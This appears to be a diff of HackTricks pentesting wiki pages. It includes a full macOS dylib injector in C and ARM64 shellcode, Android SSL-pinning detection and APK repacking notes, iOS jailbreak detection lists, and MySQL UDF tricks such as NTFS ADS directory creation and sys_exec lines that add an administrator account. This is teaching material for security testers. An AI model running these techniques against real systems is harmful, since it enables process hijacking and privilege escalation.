"\xA2\x00\x00\x10" // ADR X2, 0x14 ; (arg2)12bytes from here, Address where the new thread should start
|
||||
"\x03\x00\x80\xd2" // MOVZ X3, 0 ; X3 (arg3) = 0;
|
||||
"\x68\x01\x00\x58" // LDR X8, #44 ; load address of PTHRDCRT (pthread_create_from_mach_thread)
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; call pthread_create_from_mach_thread
|
||||
"\x00\x00\x00\x14" // loop: b loop ; loop forever
|
||||
|
||||
// Call dlopen with the path to the library
|
||||
"\xC0\x01\x00\x10" // ADR X0, #56 ; X0 => "LIBLIBLIB...";
|
||||
"\x68\x01\x00\x58" // LDR X8, #44 ; load DLOPEN
|
||||
"\x01\x00\x80\xd2" // MOVZ X1, 0 ; X1 = 0;
|
||||
"\x29\x01\x00\x91" // ADD x9, x9, 0 - I left this as a nop
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; do dlopen()
|
||||
|
||||
// Call pthread_exit
|
||||
"\xA8\x00\x00\x58" // LDR X8, #20 ; load PTHREADEXT
|
||||
"\x00\x00\x80\xd2" // MOVZ X0, 0 ; X1 = 0;
|
||||
"\x00\x01\x3f\xd6" // BLR X8 ; do pthread_exit
|
||||
|
||||
"PTHRDCRT" // <-
|
||||
"PTHRDEXT" // <-
|
||||
"DLOPEN__" // <-
|
||||
"LIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIBLIB"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00"
|
||||
"\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" "\x00" ;
|
||||
|
||||
|
||||
|
||||
|
||||
int inject(pid_t pid, const char *lib) {
|
||||
|
||||
task_t remoteTask;
|
||||
struct stat buf;
|
||||
|
||||
// Check if the library exists
|
||||
int rc = stat (lib, &buf);
|
||||
|
||||
if (rc != 0)
|
||||
{
|
||||
fprintf (stderr, "Unable to open library file %s (%s) - Cannot inject\n", lib,strerror (errno));
|
||||
//return (-9);
|
||||
}
|
||||
|
||||
// Get access to the task port of the process we want to inject into
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr);
|
||||
return (-1);
|
||||
}
|
||||
else{
|
||||
printf("Gathered privileges over the task port of process: %d\n", pid);
|
||||
}
|
||||
|
||||
// Allocate memory for the stack
|
||||
mach_vm_address_t remoteStack64 = (vm_address_t) NULL;
|
||||
mach_vm_address_t remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate(remoteTask, &remoteStack64, STACK_SIZE, VM_FLAGS_ANYWHERE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote stack in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
fprintf (stderr, "Allocated remote stack @0x%llx\n", remoteStack64);
|
||||
}
|
||||
|
||||
// Allocate memory for the code
|
||||
remoteCode64 = (vm_address_t) NULL;
|
||||
kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr));
|
||||
return (-2);
|
||||
}
|
||||
|
||||
|
||||
// Patch shellcode
|
||||
|
||||
int i = 0;
|
||||
char *possiblePatchLocation = (injectedCode );
|
||||
for (i = 0 ; i < 0x100; i++)
|
||||
{
|
||||
|
||||
// Patching is crude, but works.
|
||||
//
|
||||
extern void *_pthread_set_self;
|
||||
possiblePatchLocation++;
|
||||
|
||||
|
||||
uint64_t addrOfPthreadCreate = dlsym ( RTLD_DEFAULT, "pthread_create_from_mach_thread"); //(uint64_t) pthread_create_from_mach_thread;
|
||||
uint64_t addrOfPthreadExit = dlsym (RTLD_DEFAULT, "pthread_exit"); //(uint64_t) pthread_exit;
|
||||
uint64_t addrOfDlopen = (uint64_t) dlopen;
|
||||
|
||||
if (memcmp (possiblePatchLocation, "PTHRDEXT", 8) == 0)
|
||||
{
|
||||
memcpy(possiblePatchLocation, &addrOfPthreadExit,8);
|
||||
printf ("Pthread exit @%llx, %llx\n", addrOfPthreadExit, pthread_exit);
|
||||
}
|
||||
|
||||
if (memcmp (possiblePatchLocation, "PTHRDCRT", 8) == 0)
|
||||
{
|
||||
memcpy(possiblePatchLocation, &addrOfPthreadCreate,8);
|
||||
printf ("Pthread create from mach thread @%llx\n", addrOfPthreadCreate);
|
||||
}
|
||||
|
||||
if (memcmp(possiblePatchLocation, "DLOPEN__", 6) == 0)
|
||||
{
|
||||
printf ("DLOpen @%llx\n", addrOfDlopen);
|
||||
memcpy(possiblePatchLocation, &addrOfDlopen, sizeof(uint64_t));
|
||||
}
|
||||
|
||||
if (memcmp(possiblePatchLocation, "LIBLIBLIB", 9) == 0)
|
||||
{
|
||||
strcpy(possiblePatchLocation, lib );
|
||||
}
|
||||
}
|
||||
|
||||
// Write the shellcode to the allocated memory
|
||||
kr = mach_vm_write(remoteTask, // Task port
|
||||
remoteCode64, // Virtual Address (Destination)
|
||||
(vm_address_t) injectedCode, // Source
|
||||
0xa9); // Length of the source
|
||||
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
|
||||
// Set the permissions on the allocated code memory
|
||||
kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
// Set the permissions on the allocated stack memory
|
||||
kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
|
||||
|
||||
if (kr != KERN_SUCCESS)
|
||||
{
|
||||
fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr));
|
||||
return (-4);
|
||||
}
|
||||
|
||||
|
||||
// Create thread to run shellcode
|
||||
struct arm_unified_thread_state remoteThreadState64;
|
||||
thread_act_t remoteThread;
|
||||
|
||||
memset(&remoteThreadState64, '\0', sizeof(remoteThreadState64) );
|
||||
|
||||
remoteStack64 += (STACK_SIZE / 2); // this is the real stack
|
||||
//remoteStack64 -= 8; // need alignment of 16
|
||||
|
||||
const char* p = (const char*) remoteCode64;
|
||||
|
||||
remoteThreadState64.ash.flavor = ARM_THREAD_STATE64;
|
||||
remoteThreadState64.ash.count = ARM_THREAD_STATE64_COUNT;
|
||||
remoteThreadState64.ts_64.__pc = (u_int64_t) remoteCode64;
|
||||
remoteThreadState64.ts_64.__sp = (u_int64_t) remoteStack64;
|
||||
|
||||
printf ("Remote Stack 64 0x%llx, Remote code is %p\n", remoteStack64, p );
|
||||
|
||||
kr = thread_create_running(remoteTask, ARM_THREAD_STATE64, // ARM_THREAD_STATE64,
|
||||
(thread_state_t) &remoteThreadState64.ts_64, ARM_THREAD_STATE64_COUNT , &remoteThread );
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
fprintf(stderr,"Unable to create remote thread: error %s", mach_error_string (kr));
|
||||
return (-3);
|
||||
}
|
||||
|
||||
return (0);
|
||||
}
|
||||
|
||||
|
||||
|
||||
int main(int argc, const char * argv[])
|
||||
{
|
||||
if (argc < 3)
|
||||
{
|
||||
fprintf (stderr, "Usage: %s _pid_ _action_\n", argv[0]);
|
||||
fprintf (stderr, " _action_: path to a dylib on disk\n");
|
||||
exit(0);
|
||||
}
|
||||
|
||||
pid_t pid = atoi(argv[1]);
|
||||
const char *action = argv[2];
|
||||
struct stat buf;
|
||||
|
||||
int rc = stat (action, &buf);
|
||||
if (rc == 0) inject(pid,action);
|
||||
else
|
||||
{
|
||||
fprintf(stderr,"Dylib not found\n");
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
```bash
|
||||
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
||||
```
|
||||
|
||||
### Thread Hijacking via Task port <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
||||
|
||||
In this technique a thread of the process is hijacked:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
|
||||
{{#endref}}
|
||||
|
||||
## XPC
|
||||
|
||||
### Basic Information
|
||||
|
||||
XPC, which stands for XNU (the kernel used by macOS) inter-Process Communication, is a framework for **communication between processes** on macOS and iOS. XPC provides a mechanism for making **safe, asynchronous method calls between different processes** on the system. It's a part of Apple's security paradigm, allowing for the **creation of privilege-separated applications** where each **component** runs with **only the permissions it needs** to do its job, thereby limiting the potential damage from a compromised process.
|
||||
|
||||
For more information about how this **communication work** on how it **could be vulnerable** check:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
|
||||
{{#endref}}
|
||||
|
||||
## MIG - Mach Interface Generator
|
||||
|
||||
MIG was created to **simplify the process of Mach IPC** code creation. It basically **generates the needed code** for server and client to communicate with a given definition. Even if the generated code is ugly, a developer will just need to import it and his code will be much simpler than before.
|
||||
|
||||
For more info check:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
|
||||
- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
|
||||
- [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
|
||||
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
- [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
@ -444,6 +444,62 @@ Applications targeting **API Level 24 and above** require modifications to the N
|
||||
|
||||
If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs.
|
||||
|
||||
#### Static detection of SSL/TLS pinning
|
||||
|
||||
Before attempting runtime bypasses, quickly map where pinning is enforced in the APK. Static discovery helps you plan hooks/patches and focus on the right code paths.
|
||||
|
||||
Tool: SSLPinDetect
|
||||
- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations.
|
||||
- Reports exact file path, line number, and a code snippet for each match.
|
||||
- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
|
||||
|
||||
Install
|
||||
- Prereqs: Python >= 3.8, Java on PATH, apktool
|
||||
|
||||
```bash
|
||||
git clone https://github.com/aancw/SSLPinDetect
|
||||
cd SSLPinDetect
|
||||
pip install -r requirements.txt
|
||||
```
|
||||
|
||||
Usage
|
||||
```bash
|
||||
# Basic
|
||||
python sslpindetect.py -f app.apk -a apktool.jar
|
||||
|
||||
# Verbose (timings + per-match path:line + snippet)
|
||||
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
|
||||
```
|
||||
|
||||
Example pattern rules (JSON)
|
||||
Use or extend signatures to detect proprietary/custom pinning styles. You can load your own JSON and scan at scale.
|
||||
|
||||
```json
|
||||
{
|
||||
"OkHttp Certificate Pinning": [
|
||||
"Lcom/squareup/okhttp/CertificatePinner;",
|
||||
"Lokhttp3/CertificatePinner;",
|
||||
"setCertificatePinner"
|
||||
],
|
||||
"TrustManager Override": [
|
||||
"Ljavax/net/ssl/X509TrustManager;",
|
||||
"checkServerTrusted"
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Notes and tips
|
||||
- Fast scanning on large apps via multi-threading and memory-mapped I/O; pre-compiled regex reduces overhead/false positives.
|
||||
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
|
||||
- Typical detection targets to triage next:
|
||||
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
|
||||
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
|
||||
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
|
||||
- Declarative pins in res/xml network security config and manifest references
|
||||
- Use the matched locations to plan Frida hooks, static patches, or config reviews before dynamic testing.
|
||||
|
||||
|
||||
|
||||
#### Bypassing SSL Pinning
|
||||
|
||||
When SSL Pinning is implemented, bypassing it becomes necessary to inspect HTTPS traffic. Various methods are available for this purpose:
|
||||
@ -799,6 +855,9 @@ AndroL4b is an Android security virtual machine based on ubuntu-mate includes th
|
||||
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
|
||||
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
|
||||
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
|
||||
- [SSLPinDetect: Advanced SSL Pinning Detection for Android Security Analysis](https://petruknisme.medium.com/sslpindetect-advanced-ssl-pinning-detection-for-android-security-analysis-1390e9eca097)
|
||||
- [SSLPinDetect GitHub](https://github.com/aancw/SSLPinDetect)
|
||||
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
|
||||
|
||||
## Yet to try
|
||||
|
||||
|
@ -63,6 +63,42 @@ Java.perform(function () {
|
||||
```
|
||||
Frida will work out of the box on PAC/BTI-enabled devices (Pixel 8/Android 14+) as long as you use frida-server 16.2 or later – earlier versions failed to locate padding for inline hooks.
|
||||
|
||||
### Process-local JNI telemetry via preloaded .so (SoTap)
|
||||
|
||||
When full-featured instrumentation is overkill or blocked, you can still gain native-level visibility by preloading a small logger inside the target process. SoTap is a lightweight Android native (.so) library that logs the runtime behavior of other JNI (.so) libraries within the same app process (no root required).
|
||||
|
||||
Key properties:
|
||||
- Initializes early and observes JNI/native interactions inside the process that loads it.
|
||||
- Persists logs using multiple writable paths with graceful fallback to Logcat when storage is restricted.
|
||||
- Source-customizable: edit sotap.c to extend/adjust what gets logged and rebuild per ABI.
|
||||
|
||||
Setup (repack the APK):
|
||||
1) Drop the proper ABI build into the APK so the loader can resolve libsotap.so:
|
||||
- lib/arm64-v8a/libsotap.so (for arm64)
|
||||
- lib/armeabi-v7a/libsotap.so (for arm32)
|
||||
2) Ensure SoTap loads before other JNI libs. Inject a call early (e.g., Application subclass static initializer or onCreate) so the logger is initialized first. Smali snippet example:
|
||||
```smali
|
||||
const-string v0, "sotap"
|
||||
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
|
||||
```
|
||||
3) Rebuild/sign/install, run the app, then collect logs.
|
||||
|
||||
Log paths (checked in order):
|
||||
```
|
||||
/data/user/0/%s/files/sotap.log
|
||||
/data/data/%s/files/sotap.log
|
||||
/sdcard/Android/data/%s/files/sotap.log
|
||||
/sdcard/Download/sotap-%s.log
|
||||
# If all fail: fallback to Logcat only
|
||||
```
|
||||
|
||||
Notes and troubleshooting:
|
||||
- ABI alignment is mandatory. A mismatch will raise UnsatisfiedLinkError and the logger won’t load.
|
||||
- Storage constraints are common on modern Android; if file writes fail, SoTap will still emit via Logcat.
|
||||
- Behavior/verbosity is intended to be customized; rebuild from source after editing sotap.c.
|
||||
|
||||
This approach is useful for malware triage and JNI debugging where observing native call flows from process start is critical but root/system-wide hooks aren’t available.
|
||||
|
||||
---
|
||||
|
||||
### Recent vulnerabilities worth hunting for in APKs
|
||||
@ -93,6 +129,9 @@ When you spot *third-party* `.so` files inside an APK, always cross-check their
|
||||
### References
|
||||
|
||||
- Frida 16.x change-log (Android hooking, tiny-function relocation) – [frida.re/news](https://frida.re/news/)
|
||||
- NVD advisory for `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
- NVD advisory for `libwebp` overflow CVE-2023-4863 – [nvd.nist.gov](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
|
||||
- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
|
||||
- SoTap Releases – [github.com/RezaArbabBot/SoTap/releases](https://github.com/RezaArbabBot/SoTap/releases)
|
||||
- How to work with SoTap? – [t.me/ForYouTillEnd/13](https://t.me/ForYouTillEnd/13)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,4 +1,4 @@
|
||||
# Smali - Decompiling/\[Modifying]/Compiling
|
||||
# Smali - Decompiling/[Modifying]/Compiling
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -25,7 +25,7 @@ If **apktool** gives you any error, try[ installing the **latest version**](http
|
||||
|
||||
Some **interesting files you should look are**:
|
||||
|
||||
- _res/values/strings.xml_ (and all xmls inside res/values/\*)
|
||||
- _res/values/strings.xml_ (and all xmls inside res/values/*)
|
||||
- _AndroidManifest.xml_
|
||||
- Any file with extension _.sqlite_ or _.db_
|
||||
|
||||
@ -162,7 +162,7 @@ invoke-static {v5, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/Strin
|
||||
|
||||
Recommendations:
|
||||
|
||||
- If you are going to use declared variables inside the function (declared v0,v1,v2...) put these lines between the _.local \<number>_ and the declarations of the variables (_const v0, 0x1_)
|
||||
- If you are going to use declared variables inside the function (declared v0,v1,v2...) put these lines between the _.local <number>_ and the declarations of the variables (_const v0, 0x1_)
|
||||
- If you want to put the logging code in the middle of the code of a function:
|
||||
- Add 2 to the number of declared variables: Ex: from _.locals 10_ to _.locals 12_
|
||||
- The new variables should be the next numbers of the already declared variables (in this example should be _v10_ and _v11_, remember that it starts in v0).
|
||||
@ -186,8 +186,42 @@ move-result-object v12
|
||||
invoke-virtual {v12}, Landroid/widget/Toast;->show()V
|
||||
```
|
||||
|
||||
### Loading a Native Library at Startup (System.loadLibrary)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Sometimes you need to preload a native library so it initializes before other JNI libs (e.g., to enable process-local telemetry/logging). You can inject a call to System.loadLibrary() in a static initializer or early in Application.onCreate(). Example smali for a static class initializer (<clinit>):
|
||||
|
||||
```smali
|
||||
.class public Lcom/example/App;
|
||||
.super Landroid/app/Application;
|
||||
|
||||
.method static constructor <clinit>()V
|
||||
.registers 1
|
||||
const-string v0, "sotap" # library name without lib...so prefix
|
||||
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
|
||||
return-void
|
||||
.end method
|
||||
```
|
||||
|
||||
Alternatively, place the same two instructions at the start of your Application.onCreate() to ensure the library loads as early as possible:
|
||||
|
||||
```smali
|
||||
.method public onCreate()V
|
||||
.locals 1
|
||||
|
||||
const-string v0, "sotap"
|
||||
invoke-static {v0}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V
|
||||
|
||||
invoke-super {p0}, Landroid/app/Application;->onCreate()V
|
||||
return-void
|
||||
.end method
|
||||
```
|
||||
|
||||
Notes:
|
||||
- Make sure the correct ABI variant of the library exists under lib/<abi>/ (e.g., arm64-v8a/armeabi-v7a) to avoid UnsatisfiedLinkError.
|
||||
- Loading very early (class static initializer) guarantees the native logger can observe subsequent JNI activity.
|
||||
|
||||
## References
|
||||
|
||||
- SoTap: Lightweight in-app JNI (.so) behavior logger – [github.com/RezaArbabBot/SoTap](https://github.com/RezaArbabBot/SoTap)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
@ -136,6 +136,26 @@ Identification of **protections are present in the binary**:
|
||||
grep -iER "_vsprintf"
|
||||
```
|
||||
|
||||
#### Common Jailbreak detection methods
|
||||
|
||||
- **File System Checks**: Look for the presence of common jailbreak files and directories, such as `/Applications/Cydia.app` or `/Library/MobileSubstrate/MobileSubstrate.dylib`.
|
||||
- **Sandbox Violations**: Attempt to access restricted areas of the file system, which should be blocked on non-jailbroken devices.
|
||||
- **API Checks**: Check if it's possible to use forbidden calls like `fork()` to create a child process or `system()` to see if /bin/sh exists.
|
||||
- **Process Checks**: Monitor for the presence of known jailbreak-related processes, such as `Cydia`, `Substrate`, or `ssh`.
|
||||
- **Kernel Exploits**: Check for the presence of kernel exploits that are commonly used in jailbreaks.
|
||||
- **Environment Variables**: Inspect environment variables for signs of a jailbreak, such as `DYLD_INSERT_LIBRARIES`.
|
||||
- **Libraries Check**: Check the libs that are loaded into the app process.
|
||||
- **Check schemes**: Like `canOpenURL(URL(string: "cydia://"))`.
|
||||
|
||||
#### Common Anti-Debugging detection methods
|
||||
|
||||
- **Check for Debugger Presence**: Use `sysctl` or other methods to check if a debugger is attached.
|
||||
- **Anti-Debugging APIs**: Look for calls to anti-debugging APIs like `ptrace` or `SIGSTOP` like `ptrace(PT_DENY_ATTACH, 0, 0, 0)`.
|
||||
- **Timing Checks**: Measure the time taken for certain operations and look for discrepancies that may indicate debugging.
|
||||
- **Memory Checks**: Inspect memory for known debugger artifacts or modifications.
|
||||
- **Environment Variables**: Check for environment variables that may indicate a debugging session.
|
||||
- **Mach Ports**: Detect if mach exception ports are being used by debuggers.
|
||||
|
||||
### Basic Dynamic Analysis
|
||||
|
||||
Check out the dynamic analysis that [**MobSF**](https://github.com/MobSF/Mobile-Security-Framework-MobSF) perform. You will need to navigate through the different views and interact with them but it will be hooking several classes on doing other things and will prepare a report once you are done.
|
||||
|
@ -2,6 +2,30 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Filesystem Folders
|
||||
|
||||
- `/Applications`: Contains all the installed native applications on the device (e.g. `/Applications/Calculator.app`)
|
||||
- `/var/containers/Bundle/application/[uuid]`: Contains the application bundles for installed apps.
|
||||
- `/var/mobile/Containers/Data/Application/[uuid]`: Contains the data for the installed applications.
|
||||
- `/System`: Contains the core system files and libraries.
|
||||
- `/Library`: Contains system-wide resources and settings.
|
||||
- `/User`: Contains user-specific data and settings.
|
||||
- `/Development`: Empty unless you press the "Use for development" button
|
||||
- `/dev`: Contains device files.
|
||||
- `/Core`: Contains OS core dumps.
|
||||
- `/private/var/mobile/Library/Logs/CrashReporter/<appname-date>*`: Contains crash logs for the specified application.
|
||||
- Many other common unix folders...
|
||||
|
||||
### SQLite DBs
|
||||
|
||||
SQLite DBs are widely used in iOS and Android applications for local data storage. They provide a lightweight, serverless database solution that is easy to integrate and use within mobile apps.
|
||||
|
||||
A SQLite DB usually generates 3 files:
|
||||
- `<name>.db`: The main database file.
|
||||
- `<name>.db-shm`: The journal file which stores data before a transaction change (for DB restoration if needed).
|
||||
- `<name>.db-wal`: The write-ahead log file which stores the new data until it's ready to commit to the DB for faster processing.
|
||||
|
||||
|
||||
## Privilege Separation and Sandbox
|
||||
|
||||
In iOS, a distinction in privilege exists between the user-accessible applications and the system's core processes. Applications run under the **`mobile`** user identity, while the crucial system processes operate as **`root`**. This separation is enhanced by a sandbox mechanism, which imposes strict limitations on what actions applications can undertake. For instance, even if applications share the same user identity, they are prohibited from accessing or modifying each other's data.
|
||||
|
@ -1,68 +0,0 @@
|
||||
# 1521,1522-1529 - Pentesting Oracle TNS Listener
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
|
||||
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation (from [here](https://www.techopedia.com/definition/8711/oracle-database)).
|
||||
|
||||
When enumerating Oracle the first step is to talk to the TNS-Listener that usually resides on the default port (1521/TCP, -you may also get secondary listeners on 1522–1529-).
|
||||
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
```
|
||||
|
||||
## Summary
|
||||
|
||||
1. **Version Enumeration**: Identify version information to search for known vulnerabilities.
|
||||
2. **TNS Listener Bruteforce**: Sometimes necessary to establish communication.
|
||||
3. **SID Name Enumeration/Bruteforce**: Discover database names (SID).
|
||||
4. **Credential Bruteforce**: Attempt to access discovered SID.
|
||||
5. **Code Execution**: Attempt to run code on the system.
|
||||
|
||||
In order to user MSF oracle modules you need to install some dependencies: [**Installation**](oracle-pentesting-requirements-installation.md)
|
||||
|
||||
## Posts
|
||||
|
||||
Check these posts:
|
||||
|
||||
- [https://secybr.com/posts/oracle-pentesting-best-practices/](https://secybr.com/posts/oracle-pentesting-best-practices/)
|
||||
- [https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573](https://medium.com/@netscylla/pentesters-guide-to-oracle-hacking-1dcf7068d573)
|
||||
- [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
- [http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html](http://blog.opensecurityresearch.com/2012/03/top-10-oracle-steps-to-secure-oracle.html)
|
||||
|
||||
## HackTricks Automatic Commands
|
||||
|
||||
```
|
||||
Protocol_Name: Oracle #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1521 #Comma separated if there is more than one.
|
||||
Protocol_Description: Oracle TNS Listener #Protocol Abbreviation Spelled out
|
||||
|
||||
Entry_1:
|
||||
Name: Notes
|
||||
Description: Notes for Oracle
|
||||
Note: |
|
||||
Oracle database (Oracle DB) is a relational database management system (RDBMS) from the Oracle Corporation
|
||||
|
||||
#great oracle enumeration tool
|
||||
navigate to https://github.com/quentinhardy/odat/releases/
|
||||
download the latest
|
||||
tar -xvf odat-linux-libc2.12-x86_64.tar.gz
|
||||
cd odat-libc2.12-x86_64/
|
||||
./odat-libc2.12-x86_64 all -s 10.10.10.82
|
||||
|
||||
for more details check https://github.com/quentinhardy/odat/wiki
|
||||
|
||||
https://book.hacktricks.wiki/en/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.html
|
||||
|
||||
Entry_2:
|
||||
Name: Nmap
|
||||
Description: Nmap with Oracle Scripts
|
||||
Command: nmap --script "oracle-tns-version" -p 1521 -T4 -sV {IP}
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
@ -289,6 +289,17 @@ SELECT sys_exec("net user npn npn12345678 /add");
|
||||
SELECT sys_exec("net localgroup Administrators npn /add");
|
||||
```
|
||||
|
||||
#### Windows tip: create directories with NTFS ADS from SQL
|
||||
|
||||
On NTFS you can coerce directory creation using an alternate data stream even when only a file write primitive exists. If the classic UDF chain expects a `plugin` directory but it doesn’t exist and `@@plugin_dir` is unknown or locked down, you can create it first with `::$INDEX_ALLOCATION`:
|
||||
|
||||
```sql
|
||||
SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
|
||||
-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
|
||||
```
|
||||
|
||||
This turns limited `SELECT ... INTO OUTFILE` into a more complete primitive on Windows stacks by bootstrapping the folder structure needed for UDF drops.
|
||||
|
||||
### Extracting MySQL credentials from files
|
||||
|
||||
Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint**
|
||||
@ -749,6 +760,7 @@ john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
|
||||
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
|
||||
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
|
||||
|
||||
|
||||
|
||||
|
@ -204,6 +204,31 @@ If you see an error like the following one:
|
||||
It means that the server **didn't receive the correct domain name** inside the Host header.\
|
||||
